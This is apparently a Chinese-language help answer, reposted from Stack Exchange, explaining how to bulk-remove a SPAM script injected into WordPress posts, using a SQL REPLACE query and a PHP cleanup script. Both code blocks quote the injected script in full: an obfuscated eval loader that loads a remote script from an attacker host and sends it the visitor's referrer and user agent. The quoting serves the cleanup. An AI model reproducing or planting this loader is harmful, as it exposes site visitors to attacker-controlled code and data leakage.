网站遭SPAM注入后,清理含特殊字符恶意脚本的高效方法求助
兄弟,手动删1000多条恶意脚本确实要崩溃!我之前帮客户处理过几乎一模一样的WP注入问题,给你几个高效的批量清理方案,分分钟搞定:
一、数据库批量替换(最直接高效)
这是最快的方法,直接在数据库层面批量替换,不用一条条手动改。
第一步:先全量备份数据库! 这是绝对的底线,不管操作多熟练,先备份,避免失误搞砸数据。
第二步:构造正确的替换SQL
因为你的恶意脚本里有大量特殊字符(单引号、反斜杠这些),直接写进SQL会报错,得先把脚本里的单引号'替换成两个单引号'',这样SQL才能正确识别字符串。假设你的网站是WordPress(从脚本里的
wpinfo能看出来),内容存在wp_posts表的post_content字段里,执行以下SQL语句:-- 先查询验证要替换的条目,确认无误再执行UPDATE SELECT ID, post_title FROM wp_posts WHERE post_content LIKE '%<noindex><script id="wpinfo-pst1"%>'; -- 执行批量替换 UPDATE wp_posts SET post_content = REPLACE(post_content, '<noindex><script id="wpinfo-pst1" type="text/javascript" rel="nofollow">eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!\'\'.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return\'\\w+\'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp(\'\\b\'+e(c)+\'\\b\',\'g\'),k[c])}}return p}(\'0.6("<a g=\\'2\\' c=\\'d\\' e=\\'b/2\\' 4=\\'7://5.8.9.f/1/h.s.t?r="+3(0.p)+"\\o="+3(j.i)+"\\'></k"+"l>");n m="q";\',30,30,\'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|zinsz|var|u0026u|referrer|bhsyf||js|php\'.split(\'|\'),0,{}))</script></noindex>', '') WHERE post_content LIKE '%<noindex><script id="wpinfo-pst1"%>';- 如果是其他数据库(比如PostgreSQL),语法类似,只要保证单引号转义正确就行。
- 一定要先跑
SELECT语句确认目标条目,再执行UPDATE!
二、PHP脚本批量清理(适合怕SQL出错的情况)
如果你对SQL不太熟悉,可以写个简单的PHP脚本(针对WordPress),自动遍历所有文章并清理:
<?php // 加载WordPress环境,放在WP根目录执行 require_once('wp-load.php'); // 定义要移除的恶意脚本内容,注意反斜杠要转义 $malicious_script = '<noindex><script id="wpinfo-pst1" type="text/javascript" rel="nofollow">eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!\'\'.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return\'\\w+\'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp(\'\\b\'+e(c)+\'\\b\',\'g\'),k[c])}}return p}(\'0.6("<a g=\\'2\\' c=\\'d\\' e=\\'b/2\\' 4=\\'7://5.8.9.f/1/h.s.t?r="+3(0.p)+"\\o="+3(j.i)+"\\'></k"+"l>");n m="q";\',30,30,\'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|zinsz|var|u0026u|referrer|bhsyf||js|php\'.split(\'|\'),0,{}))</script></noindex>'; // 查询所有包含恶意脚本的内容 $args = array( 'post_type' => 'any', // 匹配所有文章类型(文章、页面、自定义类型) 'posts_per_page' => -1, // 一次性获取所有结果 's' => '<noindex><script id="wpinfo-pst1"', // 搜索关键词定位目标内容 ); $query = new WP_Query($args); if ($query->have_posts()) { while ($query->have_posts()) { $query->the_post(); $post_id = get_the_ID(); $original_content = get_post_field('post_content', $post_id); // 替换恶意脚本为空字符串 $clean_content = str_replace($malicious_script, '', $original_content); // 更新文章内容 wp_update_post(array( 'ID' => $post_id, 'post_content' => $clean_content, )); echo "已清理文章ID: {$post_id} <br>"; } } else { echo "未找到包含该恶意脚本的内容"; } wp_reset_postdata(); ?>
- 把这个脚本命名为
clean-spam.php,上传到WordPress根目录,用浏览器访问一次(比如yourdomain.com/clean-spam.php),脚本会自动完成清理。 - 清理完成后立即删除这个脚本,避免被利用产生安全风险。
- 同样,先备份数据库再执行!
三、后续注意事项
- 验证清理结果:清理完成后,随机抽查几个页面,查看源代码确认恶意脚本已经被移除。
- 加固防护:你已经做了安全加固,记得定期更新WordPress核心、主题、插件的版本,安装安全监控插件(比如Wordfence),开启防火墙,避免再次被注入。
内容的提问来源于stack exchange,提问作者JoeDostie
相关产品推荐
相关产品推荐

